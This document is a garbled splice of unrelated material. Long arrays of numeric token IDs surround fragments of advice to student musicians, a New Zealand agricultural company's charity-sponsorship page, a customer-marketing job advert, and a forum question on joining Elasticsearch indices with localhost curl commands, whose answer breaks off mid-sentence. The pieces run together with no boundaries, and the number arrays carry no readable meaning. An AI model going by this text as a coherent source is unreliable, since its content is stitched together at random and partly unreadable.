1556, 5543, 187, 187, 688, 4022, 13, 3419, 44896, 5611, 247, 4797, 14, 2052, 9698, 2830, 486, 3085, 281, 1361, 7164, 11891, 273, 253, 1294, 3409, 13877, 6807, 273, 1457, 12123, 15, 3419, 44896, 310, 1077, 9979, 273, 253, 4832, 1329, 352, 3400, 949, 253, 2323, 273, 697, 4797, 2830, 486, 3085, 15, 187, 187, 8683, 35460, 20753, 187, 187, 1628, 5646, 668, 1108, 773, 42, 717, 984, 273, 368, 668, 187, 187, 2598, 1583, 2615, 2987, 2366, 342, 7888, 285, 616, 13001, 275, 27946, 285, 45914, 281, 31150, 285, 25145, 13, 594, 597, 476, 2740, 253, 14192, 5880, 13, 27753, 616, 1211, 2442, 285, 2525, 616, 1211, 3198, 15, 1284, 247, 417, 14, 1542, 14, 15608, 19156, 9856, 275, 6976, 13, 1457, 12123, 13, 27946, 13, 45914, 285, 253, 1986, 2077, 13, 4730, 310, 387, 253, 5161, 273, 3253, 597, 513, 15, 187, 187, 53, 2259, 89, 5901, 310, 247, 9979, 31409, 285, 24938, 281, 253, 773, 2598, 1583, 2615, 668, 19489, 23617, 15, 496, 1635, 281, 247, 11440, 38786, 273, 5974, 23397, 411, 2435, 74, 13, 308, 2259, 89, 5901, 556, 26837, 689, 337, 13, 933, 11331, 45789, 281, 3506, 324, 609, 416, 6525, 20988, 4726, 281, 10073, 342, 616, 29977, 357, 316, 15, 187, 187, 3493, 284, 2135, 187, 187, 18852, 697, 3236, 10269, 285, 36654, 985, 13, 5678, 342, 327, 14, 71, 1513, 4849, 13, 1847, 284, 2135, 556, 5728, 689, 884, 13, 933, 42464, 273, 8138, 1580, 253, 6974, 457, 84, 39645, 275, 5403, 15, 1284, 629, 273, 697, 4821, 11847, 281, 13126, 2951, 1034, 5363, 13, 1847, 284, 2135, 1024, 17209, 2800, 4096, 14, 20989, 4273, 398, 326, 403, 4158, 281, 3157, 253, 47768, 4616, 38238, 432, 697, 2022, 23221, 281, 253, 28604, 6244, 15, 380, 6974, 556, 671, 5611, 747, 3580, 1160, 432, 37470, 45896, 28, 308, 2066, 4697, 13, 308, 2066, 43677, 13, 285, 1847, 284, 5308, 15, 187, 187, 3493, 284, 2135, 369, 253, 806, 1885, 42001, 5363, 6974, 323, 21047, 281, 4763, 756, 48001, 432, 253, 13421, 323, 253, 13809, 275, 4267, 15, 18139, 33574, 285, 21220, 7731, 9137, 7205, 2424, 281, 1379, 253, 1421, 275, 6742, 273, 444, 1311, 46, 13521, 323, 2201, 5591, 13796, 4152, 13, 26391, 13, 18805, 708, 5579, 11716, 15, 380, 2554, 17954, 875, 6757, 285, 5268, 285, 6131, 253, 5107, 281, 7257, 2791, 14, 16378, 7731, 9137, 18120, 15, 187, 187, 510, 27488, 25694, 15821, 588, 13341, 715, 616, 9470, 3640, 273, 7731, 9137, 281, 1408, 342, 6493, 432, 1388, 581, 15, 1583, 457, 620, 320, 253, 9145, 273, 7731, 764, 84, 285, 1379, 253, 1421, 275, 5700, 13, 19915, 285, 6742, 273, 10522, 18120, 11205, 387, 17302, 13, 35267, 437, 285, 7731, 2793, 15, 11191, 275, 253, 27488, 25694, 2285, 13, 597, 457, 620, 320, 7731, 28002, 285, 764, 84, 10071, 13, 2444, 8244, 342, 253, 27488, 25694, 17696, 15821, 281, 5416, 6742, 273, 4471, 14, 13695, 308, 14135, 18120, 13, 2439, 5899, 285, 5865, 3420, 15, 187, 187, 1992, 320, 5547, 368, 457, 620, 3324, 247, 2266, 4114, 285, 11464, 2793, 273, 5865, 285, 5899, 1480, 9137, 13, 432, 12288, 281, 7103, 285, 1046, 3213, 275, 875, 15, 1422, 457, 620, 452, 247, 1175, 4685, 273, 849, 281, 897, 941, 281, 7257, 1781, 14, 7527, 3367, 1701, 7731, 13226, 18120, 13, 34243, 1561, 14591, 1940, 15, 5402, 6264, 4685, 588, 320, 25639, 264, 407, 634, 3745, 281, 8722, 2709, 789, 296, 9779, 285, 23652, 885, 281, 7257, 1029, 3290, 3453, 326, 16382, 285, 27125, 634, 8571, 15, 1422, 457, 620, 320, 16101, 13, 2508, 14, 21085, 285, 2104, 281, 4271, 9091, 323, 5415, 7756, 13, 1223, 1146, 18273, 281, 789, 10939, 347, 973, 347, 275, 2810, 14448, 342, 634, 2285, 285, 253, 14200, 28022, 15, 187, 187, 16395, 456, 875, 253, 5268, 457, 84, 44452, 457, 84, 11301, 14145, 285, 253, 6757, 457, 84, 2613, 275, 4693, 15454, 13, 436, 2554, 310, 2234, 281, 253, 8113, 273, 247, 2201, 3089, 9562, 275, 271, 12302, 285, 2455, 14, 28276, 4491, 15, 7764, 3877, 436, 310, 8523, 247, 2800, 14, 7791, 3310, 533, 812, 9017, 2007, 15, 50, 27, 187, 187, 24408, 272, 247, 747, 1673, 285, 9406, 839, 846, 14167, 374, 15386, 8716, 14452, 187, 187, 42, 574, 9269, 1529, 1953, 670, 5921, 875, 374, 15386, 8716, 14452, 428, 29355, 15386, 8716, 14452, 1223, 11038, 4910, 275, 20494, 16, 5338, 5113, 15, 309, 717, 1024, 2820, 281, 9017, 327, 1755, 273, 326, 15, 11977, 310, 253, 2127, 534, 309, 3562, 1563, 253, 3662, 1677, 323, 619, 1501, 15, 187, 3233, 8869, 27, 50275, 187, 31064, 428, 57, 16143, 3944, 1358, 22922, 27, 26, 1518, 16, 32029, 26178, 16, 249, 83, 16, 18, 428, 69, 39846, 187, 3, 13118, 29925, 187, 92, 187, 3, 32029, 6302, 316, 69, 995, 187, 3, 32029, 1590, 1381, 346, 3016, 46693, 995, 187, 3, 19920, 64, 468, 64, 249, 83, 6302, 17, 15, 11718, 1010, 3046, 2090, 995, 187, 3, 249, 83, 64, 468, 64, 8522, 1381, 346, 3832, 15, 2511, 2526, 1630, 3208, 3, 209, 187, 2023, 187, 92, 187, 3, 32029, 6302, 249, 83, 995, 187, 3, 32029, 1590, 1381, 346, 28531, 18268, 49953, 995, 187, 3, 19920, 64, 468, 64, 249, 83, 6302, 18, 995, 187, 3, 249, 83, 64, 468, 64, 8522, 1381, 346, 18, 3, 2490, 3572, 187, 187, 92, 187, 3, 32029, 6302, 301, 83, 995, 187, 3, 32029, 1590, 1381, 346, 8207, 2487, 757, 416, 484, 13560, 995, 187, 3, 19920, 64, 468, 64, 249, 83, 6302, 3031, 15, 21553, 2090, 1012, 995, 187, 3, 249, 83, 64, 468, 64, 8522, 1381, 346, 17, 15, 5523, 520, 2691, 1630, 3, 209, 187, 94, 187, 62, 187, 15996, 187, 187, 31064, 428, 57, 16143, 346, 2413, 1358, 22922, 27, 26, 1518, 16, 4347, 5060, 16, 1189, 339, 284, 16, 18, 3, 428, 69, 39846, 346, 19581, 6302, 2313, 995, 346, 32029, 6302, 316, 69, 995, 346, 12428, 6302, 22396, 3, 748, 8, 187, 187, 31064, 428, 57, 16143, 346, 2413, 1358, 22922, 27, 26, 1518, 16, 4347, 5060, 16, 1189, 339, 284, 16, 19, 3, 428, 69, 39846, 346, 19581, 6302, 1235, 995, 346, 32029, 6302, 20198, 58, 995, 346, 12428, 6302, 43, 2088, 1539, 3, 748, 8, 187, 187, 31064, 428, 57, 16143, 346, 2413, 1358, 22922, 27, 26, 1518, 16, 4347, 5060, 16, 1189, 339, 284, 16, 20, 3, 428, 69, 39846, 346, 19581, 6302, 1235, 995, 346, 32029, 6302, 249, 83, 995, 346, 12428, 6302, 9816, 5236, 3, 748, 8, 187, 187, 31064, 428, 57, 16143, 346, 2413, 1358, 22922, 27, 26, 1518, 16, 4347, 5060, 16, 1189, 339, 284, 16, 21, 3, 428, 69, 39846, 346, 19581, 6302, 1229, 995, 346, 32029, 3, 1163, 346, 1838, 51, 995, 346, 12428, 1381, 346, 8207, 2487, 571, 986, 8, 187, 187, 31064, 428, 57, 16143, 346, 2413, 1358, 22922, 27, 26, 1518, 16, 4347, 5060, 16, 1189, 339, 284, 16, 22, 3, 428, 69, 39846, 346, 19581, 6302, 2511, 995, 346, 32029, 6302, 38169, 995, 346, 12428, 6302, 22396, 3, 748, 8, 187, 187, 8053, 27, 187, 31064, 428, 57, 15743, 3944, 1358, 22922, 27, 26, 1518, 16, 4347, 5060, 16, 1189, 339, 284, 29987, 8716, 32, 38256, 428, 69, 39846, 187, 50275, 3, 7267, 3, 1163, 551, 187, 346, 45407, 3, 1163, 551, 187, 50275, 3, 10978, 3, 1163, 551, 187, 50273, 3, 27169, 3, 1163, 551, 187, 50271, 3, 32029, 3, 1163, 551, 187, 50270, 3, 4663, 3, 1163, 346, 32029, 26178, 995, 187, 50269, 3, 881, 3, 1163, 346, 249, 83, 995, 187, 50269, 3, 301, 3, 1163, 346, 18, 995, 187, 50269, 3, 3967, 3, 1163, 346, 13118, 15, 32029, 3, 187, 50271, 2023, 187, 50271, 47439, 12985, 64, 2364, 3, 1163, 346, 32029, 35757, 3, 187, 50273, 94, 187, 50275, 94, 187, 748, 187, 50275, 94, 187, 748, 8, 187, 187, 42, 755, 253, 1543, 428, 577, 5861, 432, 12222, 3605, 22914, 24144, 58, 534, 310, 417, 627, 275, 14731, 26178, 15, 187, 1989, 752, 309, 878, 281, 513, 9142, 310, 281, 755, 512, 14247, 941, 275, 247, 2014, 14731, 13, 594, 326, 2097, 309, 452, 281, 513, 253, 7316, 643, 1039, 3790, 13, 326, 434, 672, 253, 1895, 15877, 15, 2490, 26721, 428, 57, 15743, 3944, 1358, 22922, 27, 26, 1518, 16, 32029, 26178, 16, 249, 83, 29987, 8716, 32, 38256, 428, 69, 39846, 187, 50275, 3, 7267, 3, 1163, 551, 187, 346, 45407, 3, 1163, 551, 187, 50275, 3, 10978, 3, 1163, 551, 187, 50273, 3, 27169, 3, 1163, 551, 187, 50269, 3, 13118, 15, 32029, 3, 1163, 551, 187, 50269, 3, 4663, 3, 1163, 346, 4347, 5060, 995, 187, 50269, 3, 881, 3, 1163, 346, 1189, 339, 284, 995, 187, 50269, 3, 301, 3, 1163, 346, 19, 995, 187, 50269, 3, 3967, 3, 1163, 346, 32029, 3, 187, 50271, 2023, 187, 50271, 47439, 12985, 64, 2364, 3, 1163, 346, 32029, 35757, 23, 3, 187, 50273, 94, 187, 50275, 94, 187, 748, 187, 50275, 94, 187, 748, 8, 187, 187, 24397, 598, 1411, 2410, 15, 32029, 1057, 417, 1646, 281, 789, 15, 309, 717, 417, 2104, 281, 13199, 1854, 323, 352, 15, 309, 3597, 281, 1056, 14731, 26178, 247, 6507, 2605, 13, 533, 326, 671, 1057, 417, 789, 15, 309, 1053, 626, 971, 281, 1056, 619, 12222, 347, 247, 20494, 16, 5338, 1789, 3781, 15, 209, 187, 2598, 13, 10300, 271, 14247, 2654, 432, 12222, 3605, 13, 849, 476, 309, 31994, 253, 4569, 14731, 6431, 2281, 275, 14731, 26178, 3605, 285, 11897, 247, 747, 1673, 326, 556, 253, 2408, 275, 2303, 14731, 15, 24088, 27, 323, 14247, 2654, 337, 13, 309, 452, 281, 31994, 346, 316, 69, 3, 275, 14731, 26178, 13, 755, 253, 1673, 275, 83, 64, 468, 64, 8522, 285, 11897, 14247, 35277, 688, 1042, 51, 15, 187, 1898, 604, 309, 755, 326, 2080, 309, 651, 751, 281, 19737, 327, 253, 11516, 14247, 2408, 1754, 327, 690, 3602, 15, 1680, 352, 1896, 281, 513, 594, 32, 187, 187, 34, 27, 187, 187, 1552, 3164, 3548, 626, 253, 987, 1039, 281, 8415, 436, 1895, 13, 285, 752, 309, 858, 310, 247, 2264, 13908, 13, 533, 752, 368, 1472, 7004, 323, 476, 320, 2218, 970, 253, 6001, 264, 7982, 20828, 15, 831, 20828 ]

, cello, trombone…whatever!) you actually have fun! Now is the time to make sure that you have a friend or two who will be playing their instrument over the Summer. You can play chamber music. You can get together to jam. You can even just play some of the pieces that you enjoyed from orchestra or band this year. Now is the time to look into Mark O’Connor’s Fiddle Camp or Mark Wood’s Rock Orchestra Camp or any of the dozens of great opportunities to play and have fun that occur over the Summer months. You’ll learn a lot while getting to meet some pretty incredible musicians! Now is the time to realize that playing your instrument is not just a chore, it is a part of your life! It makes you smile and feel good about the things you can do that you never expected. Finish the school year strong. It will make starting next school year (or maybe even this Summer’s music program) a whole lot easier.Corporate Responsibility SWEET LOUISE Agpac Ltd in New Zealand, a Tapex Group company, is very proud of its commitment and ongoing support in raising awareness of breast cancer in rural communities through the Sweet Louise Foundation. The Agpac initiative, in conjunction with one of the global leaders in silage film manufacture, Trioplast, has produced the world’s first pink-coloured silage film in crop packaging that is now seen on many farms across New Zealand. Agpac makes a significant donation each year to Sweet Louise, a charity supporting men and women living with secondary breast cancer. PROSTATE CANCER FOUNDATION OF NEW ZEALAND In 2016, Agpac introduced a blue-coloured silage film to help raise awareness of the Prostate Cancer Foundation of New Zealand. Agpac is very proud of the financial support it provides through the success of its blue silage film. SO THEY CAN “ubuntu” – “I am because of you” So They Can works together with communities and their governments in Kenya and Tanzania to educate and empower, so they can break the poverty cycle, realise their own potential and meet their own needs. As a not-for-profit organisation registered in Australia, New Zealand, Kenya, Tanzania and the United States, education is at the core of everything they do. Tapex Group is a proud supporter and contributor to the “So They Can” charity organisations. In addition to a continuing sponsorship of student Nancy Wangui, Tapex Group has donated over 1,000 educational textbooks to Abadare Ranges Primary School to assist with their syllabus. Plasback Through its original bin and liner system, combined with on-farm collection, Plasback has collected over 10,000 tonnes of waste since the scheme’s inception in 2006. As part of its continued commitment to Product Stewardship, Plasback now operates six purpose-built balers that are designed to improve the onward transport logistics from its main centres to the recycling plants. The scheme has also introduced new products made from recycled plastics; Tuffboard, Tuffdeck, and Plaswood. Plasback was the first product stewardship scheme for agriculture to receive accreditation from the Ministry for the Environment in 2010.Experienced and talented customer marketing manager required to take the lead in delivery of ECRM programme for major UK Broadband, Phone, Mobile & TV provider. The role sits between agency and client and offers the opportunity to deliver market-leading customer marketing campaigns. The Customer Marketing Manager will tap into their extensive knowledge of customer marketing to run with projects from day one. They’ll be the centre of customer comms and take the lead in strategy, coordination and delivery of targeted campaigns aimed at retention, upsell and customer experience. Sat in the Customer Marketing team, they’ll be customer champions and comms experts, working closely with the Customer Marketing Senior Manager to ensure delivery of multi-channel TTL campaigns, across traditional and digital media. To be successful you’ll bring a strong background and proven experience of digital and traditional direct marketing, from insight to evaluation and every step in between. You’ll have a good understanding of how to use data to deliver large-scale personalised customer engagement campaigns, ideally within telco. Your commercial understanding will be complimented by your ability to manage multiple workstreams and prioritise to deliver high quality output that meets and beats your targets. You’ll be analytical, detail-oriented and able to identify opportunities for continuous improvement, while being trusted to work independently as well as in close collaboration with your team and the wider stakeholders. Located between the client’s Shepherd’s Bush offices and the agency’s base in London Bridge, this role is key to the vision of a major challenger in an exciting and ever-changing industry. Please note this is initially a six-month contract but could extend further.Q: Computing a new field and aggregating after joining 2 elasticsearch indices I had posted another question about correlation between 2 elasticsearch indices - Join elasticsearch indices while matching fields in nested/inner objects. I am now trying to extend on top of that. Following is the code which I created following the answer given for my post. Data creation: curl -XPUT http://localhost:9200/currencylookup/inr/1 -d '{ "conv":[ { "currency":"usd", "currencyname": "US Dollar", "units_per_inr":"0.016155969", "inr_per_unit": "61.89662756" }, { "currency":"inr", "currencyname": "Indian Rupee", "units_per_inr":"1", "inr_per_unit": "1" }, { "currency":"idr", "currencyname": "Indonesian Rupiah", "units_per_inr":"199.2576913", "inr_per_unit": "0.005018627" } ] }' curl -XPUT "http://localhost:9200/expenses/overseas/1" -d '{ "amount":"100", "currency":"usd", "location":"USA" }' curl -XPUT "http://localhost:9200/expenses/overseas/2" -d '{ "amount":"50", "currency":"JPY", "location":"JAPAN" }' curl -XPUT "http://localhost:9200/expenses/overseas/3" -d '{ "amount":"50", "currency":"inr", "location":"INDIA" }' curl -XPUT "http://localhost:9200/expenses/overseas/4" -d '{ "amount":"30", "currency" : "IDR", "location": "Indonesia"}' curl -XPUT "http://localhost:9200/expenses/overseas/5" -d '{ "amount":"89", "currency":"USD", "location":"USA" }' Query: curl -XPOST http://localhost:9200/expenses/overseas/_search?pretty -d '{ "query" : { "filtered" : { "filter" : { "terms" : { "currency" : { "index" : "currencylookup", "type" : "inr", "id" : "1", "path" : "conv.currency" }, "_cache_key" : "currencyexchange" } } } } }' I get the results - 4 records from expenses index excluding JPY which is not there in currencylookup. But what I need to do ultimately is to get all expense data in a single currency, so that means I have to do the query other way round, that's when the problem arises. curl -XPOST http://localhost:9200/currencylookup/inr/_search?pretty -d '{ "query" : { "filtered" : { "filter" : { "terms" : { "conv.currency" : { "index" : "expenses", "type" : "overseas", "id" : "2", "path" : "currency" }, "_cache_key" : "currencyexchange6" } } } } }' Looking up against conv.currency does not seem to work. I am not able to specify path for it. I tried to make currencylookup a flat structure, but that also does not work. I don't want to make my expenses as a nested/inner object array. So, Given an expense id from expenses index, how can I lookup the appropriate currency exchange rate in currencylookup index and compute a new field that has the amount in target currency. eg: for expense id 1, I have to lookup "usd" in currencylookup, get the field inr_per_unit and compute expenseAmountInINR. And if I get that far I would like to aggregate on the converted expense amount based on some parameters. Is it possible to do so? A: This probably isn't the right way to solve this problem, and what I did is a total hack, but what you're asking for can be done using the scripted metric aggregation. This aggregation

[ 3732, 281, 253, 6384, 323, 374, 288, 387, 2316, 3276, 846, 1264, 1384, 1054, 14792, 1267, 369, 1041, 15, 14540, 410, 12135, 369, 27130, 407, 8655, 3554, 300, 36416, 285, 10848, 327, 3085, 15, 20112, 2308, 497, 3413, 970, 12006, 262, 7480, 1783, 13, 970, 26831, 267, 16752, 70, 28421, 46224, 281, 39142, 323, 5884, 3301, 10575, 875, 24914, 15, 2071, 1502, 497, 25266, 285, 27130, 970, 253, 2884, 454, 14, 52, 22449, 3351, 3800, 15, 20112, 3961, 16689, 497, 3413, 970, 253, 12597, 414, 2596, 16181, 14, 13021, 1783, 2086, 15, 187, 187, 30458, 17384, 18334, 1712, 84, 21, 68, 94, 187, 15879, 187, 187, 46, 547, 497, 31548, 949, 310, 41365, 49219, 46539, 285, 811, 9290, 1365, 20403, 3197, 342, 470, 15, 26, 6, 22748, 18704, 2900, 3560, 407, 374, 6, 5586, 47236, 14, 37000, 2900, 15, 4458, 514, 3998, 4408, 369, 45560, 285, 10729, 275, 1884, 6, 31145, 14, 37000, 2900, 13463, 387, 577, 3272, 36, 15, 380, 3998, 4408, 369, 840, 14245, 285, 7141, 387, 4150, 1438, 3272, 36, 1919, 2007, 20215, 15, 1198, 2593, 272, 13, 253, 3998, 369, 12691, 275, 36171, 8508, 313, 52, 518, 5650, 13, 7608, 27638, 13, 6582, 13, 5106, 10, 285, 2593, 264, 275, 253, 18561, 26490, 6415, 15, 329, 2070, 3737, 3501, 30469, 313, 7645, 38973, 12280, 27295, 13, 411, 25532, 9388, 13, 6176, 10, 369, 908, 281, 4822, 40054, 7118, 313, 1010, 14620, 481, 1198, 47571, 13, 7118, 497, 13230, 342, 884, 6, 427, 10339, 559, 374, 6, 35098, 275, 470, 15, 18, 6, 13626, 14, 53, 323, 337, 288, 3560, 407, 15685, 342, 17876, 3270, 14, 5072, 5305, 19, 8092, 313, 18, 27, 5388, 11641, 41144, 13, 12441, 13181, 1706, 3208, 52, 10, 275, 470, 15, 18, 6, 13626, 14, 53, 19079, 342, 374, 6, 427, 10339, 13463, 387, 577, 3272, 36, 15, 2732, 17392, 253, 7118, 970, 470, 15, 18, 6, 13626, 14, 53, 1264, 2069, 13, 253, 7118, 497, 10729, 342, 6561, 8740, 33502, 281, 31787, 19258, 46148, 313, 29166, 13, 23244, 3270, 14, 39807, 13, 12441, 13181, 883, 13925, 10, 323, 337, 288, 387, 2316, 3276, 275, 3644, 15, 380, 7118, 497, 840, 11974, 342, 13626, 1264, 2069, 285, 10729, 342, 40987, 313, 22, 14986, 16, 1686, 13, 24940, 22938, 21234, 13, 33070, 13, 2949, 13, 5106, 13, 13181, 740, 21358, 22818, 2874, 10, 323, 495, 1054, 15, 380, 7118, 497, 10877, 327, 6053, 37838, 19459, 313, 40018, 15317, 13, 17026, 6169, 13, 17367, 13, 6144, 10, 342, 399, 18956, 21106, 40411, 8352, 272, 11263, 313, 37, 18956, 13, 7634, 25185, 13, 17367, 13, 6144, 13, 12441, 13181, 52, 1229, 1508, 1438, 481, 31965, 497, 35014, 970, 247, 7728, 739, 329, 2981, 37200, 374, 372, 13118, 2241, 17199, 313, 29916, 7728, 739, 13, 21979, 1076, 257, 13, 6176, 481, 187, 187, 53, 312, 48495, 1971, 323, 353, 886, 81, 19, 8071, 7639, 1712, 84, 21, 69, 94, 187, 39421, 187, 187, 53, 312, 48495, 313, 6199, 10, 369, 18224, 275, 14128, 4166, 313, 23, 5770, 16, 1686, 10, 949, 3347, 8518, 285, 7141, 387, 577, 3272, 36, 1919, 897, 15, 16219, 48495, 369, 11966, 281, 3754, 949, 35948, 8829, 323, 2620, 12640, 1897, 387, 2233, 5770, 16, 5840, 15, 23588, 686, 2632, 30940, 8, 3754, 497, 4127, 342, 21526, 48495, 846, 27791, 5917, 452, 4751, 3715, 313, 40673, 1235, 283, 1549, 1897, 273, 2363, 342, 247, 27791, 4868, 273, 387, 1878, 608, 481, 10244, 13, 5343, 686, 2632, 30940, 8, 3754, 497, 671, 4127, 342, 21526, 48495, 846, 28387, 11653, 15, 380, 673, 273, 253, 3302, 8829, 17751, 432, 22540, 281, 23349, 1897, 13, 533, 253, 8829, 22199, 369, 253, 1072, 323, 512, 5705, 15, 187, 187, 49, 864, 5174, 12147, 14755, 1712, 84, 21, 70, 94, 187, 27800, 187, 187, 1145, 21185, 497, 11691, 970, 253, 27791, 12147, 14755, 985, 2529, 3786, 2479, 11927, 53, 42383, 36, 20, 2947, 11927, 53, 42383, 36, 1036, 2947, 11927, 53, 42383, 36, 1229, 2947, 11927, 53, 42383, 36, 1706, 2498, 496, 2159, 13, 3754, 497, 11691, 432, 470, 283, 19, 715, 253, 1563, 3602, 27, 16239, 13, 31262, 13, 17134, 14, 2815, 67, 39712, 272, 13, 14578, 4868, 13, 11820, 263, 285, 2087, 1617, 15, 329, 4868, 273, 470, 6125, 253, 5928, 273, 19831, 13, 337, 6492, 19831, 1246, 285, 374, 6492, 253, 19831, 310, 1077, 5460, 15, 5761, 16381, 14, 27895, 264, 1174, 32930, 5196, 253, 14755, 10939, 13, 285, 616, 2060, 2193, 497, 17522, 281, 6635, 1016, 2173, 941, 1127, 347, 2529, 2479, 11927, 53, 42383, 36, 1706, 2498, 187, 187, 38066, 267, 5175, 1712, 84, 21, 71, 94, 187, 22928, 187, 187, 1145, 21185, 497, 7515, 275, 253, 1527, 1673, 13, 38757, 4000, 274, 351, 13, 1708, 285, 3644, 14682, 13, 285, 15178, 14, 22157, 5216, 347, 3786, 2529, 2479, 11927, 53, 42383, 36, 1706, 2947, 11927, 53, 42383, 36, 1867, 2498, 25487, 13, 323, 253, 1527, 1673, 6861, 1427, 1071, 13, 5705, 497, 4845, 275, 247, 367, 1591, 304, 14407, 22133, 323, 271, 4964, 285, 271, 16644, 4866, 5481, 985, 313, 2300, 740, 3357, 2425, 28028, 28, 418, 8185, 39664, 13, 5591, 10, 5950, 253, 5694, 4712, 273, 253, 5074, 15, 380, 3602, 4080, 2908, 2264, 2425, 313, 12135, 275, 1097, 9118, 285, 11593, 16340, 582, 294, 1875, 313, 26806, 6415, 2425, 582, 16239, 313, 33464, 6415, 2425, 28, 3605, 273, 2264, 6861, 17024, 2425, 582, 6861, 1427, 2281, 313, 25629, 3885, 273, 11593, 6415, 2425, 14270, 625, 685, 767, 20435, 582, 3426, 22133, 19055, 313, 9133, 273, 3426, 22133, 31880, 569, 28, 3605, 273, 16239, 4757, 10, 285, 4055, 294, 1875, 2425, 313, 250, 1875, 275, 11627, 387, 1878, 577, 18626, 432, 667, 3402, 28, 271, 10397, 14, 3022, 3879, 3605, 481, 1198, 253, 38757, 4000, 274, 351, 1071, 313, 4663, 273, 6654, 285, 16239, 4757, 582, 5705, 497, 4845, 327, 247, 17387, 12591, 6576, 313, 19047, 30540, 3690, 904, 13181, 33735, 14, 41211, 46, 13, 659, 15, 21975, 507, 13, 27751, 10, 326, 17308, 684, 387, 247, 3638, 2281, 432, 495, 15, 22, 281, 4791, 33936, 689, 247, 608, 14, 1222, 7467, 15, 329, 8166, 8325, 8468, 34472, 253, 673, 387, 534, 253, 5074, 2965, 432, 253, 17387, 8325, 15, 47992, 497, 1408, 1264, 2069, 247, 1388, 323, 1740, 12640, 1897, 15, 1716, 1704, 4995, 7587, 497, 9070, 407, 387, 1878, 337, 575, 73, 281, 1581, 253, 5074, 281, 9295, 432, 3520, 18693, 15, 1198, 253, 1708, 283, 19001, 1659, 14682, 1071, 313, 4663, 273, 10397, 14, 3022, 3879, 582, 3754, 497, 4845, 715, 253, 1527, 18862, 273, 247, 3817, 11253, 273, 247, 3644, 18862, 285, 271, 34420, 1708, 18862, 326, 403, 4802, 949, 247, 2014, 1355, 5909, 15, 380, 3754, 497, 10268, 253, 3369, 875, 253, 31441, 387, 253, 1265, 273, 253, 1071, 15, 380, 5705, 497, 45917, 7760, 323, 608, 1054, 285, 253, 1180, 273, 2495, 20215, 313, 11546, 1481, 26696, 621, 562, 273, 253, 3644, 18862, 10, 2684, 1223, 597, 497, 275, 253, 3644, 18862, 369, 16042, 15, 1198, 253, 15178, 14, 22157, 3879, 1071, 313, 4663, 273, 2675, 3879, 582, 5074, 497, 4845, 715, 247, 747, 22133, 4508, 247, 2014, 5313, 273, 15178, 1059, 13, 285, 253, 4644, 273, 253, 17412, 15178, 369, 4080, 253, 2164, 288, 1996, 15, 1876, 14613, 5216, 497, 5196, 875, 898, 27, 361, 717, 285, 337, 27, 361, 12920, 281, 15338, 38261, 2538, 15, 23588, 686, 11592, 14, 2632, 30940, 8, 3754, 497, 38284, 875, 2456, 285, 5571, 1897, 273, 2363, 13, 253, 1072, 673, 3665, 1309, 534, 5086, 686, 2632, 30940, 8, 3754, 403, 4127, 342, 21526, 48495, 15, 23588, 686, 2632, 30940, 8, 3754, 497, 5762, 875, 9199, 285, 7783, 1897, 273, 2363, 13, 285, 247, 5927, 273, 721, 3618, 846, 21526, 48495, 9694, 15, 26993, 686, 2632, 30940, 8, 3754, 497, 38284, 875, 1903, 285, 1458, 2607, 273, 2363, 13, 285, 387, 1878, 374, 2607, 846, 21526, 48495, 9694, 15, 26993, 686, 11592, 14, 2632, 30940, 8, 3754, 497, 38284, 875, 898, 285, 1638, 2607, 273, 2363, 15, 187, 187, 21749, 287, 615, 24365, 1712, 84, 21, 72, 94, 187, 23130, 187, 187, 7910, 7663, 2718, 497, 7091, 275, 436, 1263, 15, 1198, 4014, 15043, 19654, 13, 5343, 3754, 497, 28567, 342, 247, 11744, 4014, 15043, 10304, 22039, 883, 2025, 34, 14, 39, 740, 313, 3233, 13416, 5625, 313, 37, 5824, 582, 659, 5171, 13, 26583, 13, 5106, 10, 323, 1048, 7467, 29253, 13, 2425, 285, 5161, 2133, 3276, 19654, 347, 3786, 2529, 2479, 11927, 53, 42383, 36, 746, 2498, 25487, 13, 5893, 5705, 497, 49238, 762, 374, 6, 310, 41365, 49219, 285, 253, 11744, 26518, 369, 4845, 275, 253, 35948, 13369, 15, 380, 7663, 6371, 369, 50088, 3066, 247, 687, 1344, 267, 31967, 1854, 285, 253, 7663, 9885, 4845, 275, 253, 44203, 14031, 2919, 313, 35, 1747, 785, 4150, 17, 15, 23, 5823, 13, 11884, 337, 15, 22, 5823, 285, 6864, 337, 15, 22, 5823, 481, 329, 3806, 6371, 285, 9885, 369, 4845, 387, 378, 1747, 785, 4150, 22, 5823, 13, 11884, 337, 5823, 285, 6864, 337, 15, 22, 5823, 15, 29301, 497, 17375, 638, 14, 285, 1501, 14, 49742, 281, 5416, 642, 13711, 19147, 15, 29301, 497, 4136, 281, 9295, 323, 387, 1878, 495, 3618, 2720, 281, 667, 941, 4849, 15, 1198, 246, 10666, 433, 19654, 13, 5086, 285, 5343, 3754, 497, 28567, 342, 9885, 1729, 25502, 347, 2529, 3786, 2479, 11927, 53, 42383, 36, 1508, 2947, 11927, 53, 42383, 36, 1706, 2947, 11927, 53, 42383, 36, 3712, 2498, 25487, 13, 5074, 497, 49238, 762, 374, 283, 21, 6, 310, 41365, 49219, 949, 43431, 15, 38566, 3229, 1160, 432, 3488, 42279, 14, 968, 2907, 31361, 10194, 497, 28567, 275, 253, 30348, 6582, 18, 313, 35, 1747, 785, 4150, 19, 15, 20, 5823, 13, 11884, 337, 15, 24, 5823, 285, 6864, 13, 374, 15, 17, 5823, 10, 285, 41782, 1260, 29392, 41593, 14031, 313, 35, 1747, 785, 4150, 17, 15, 25, 5823, 13, 11884, 337, 15, 25, 5823, 285, 6864, 13, 337, 15, 22, 5823, 481, 329, 3806, 9885, 369, 28567, 275, 253, 24459, 14031, 313, 35, 1747, 785, 4150, 20, 15, 25, 5823, 13, 11884, 337, 15, 25, 5823, 285, 6864, 337, 15, 22, 5823, 481, 23588, 3754, 497, 28567, 875, 3387, 285, 3925, 1897, 273, 2363, 285, 5343, 3754, 497, 28567, 387, 23377, 9519, 1897, 273, 2363, 15, 380, 28567, 3754, 497, 4136, 281, 9295, 323, 387, 1878, 247, 2129, 1078, 667, 2007, 40290, 15, 6912, 1206, 300, 18042, 313, 35, 4071, 27147, 13, 13533, 13, 17367, 13, 6144, 10, 497, 2879, 281, 253, 1824, 6186, 374, 1897, 1078, 5869, 285, 818, 1897, 846, 5869, 281, 3657, 10332, 15, 187, 187, 26839, 10994, 941, 11931, 285, 941, 1783, 1712, 84, 21, 73, 94, 187, 42451, 187, 187, 15163, 3276, 285, 2425, 273, 5893, 5705, 497, 5728, 347, 3786, 2529, 2479, 11927, 53, 42383, 36, 746, 2498, 25487, 13, 11744, 34048, 941, 403, 12573, 432, 253, 4014, 15043, 10304, 313, 7656, 883, 2025, 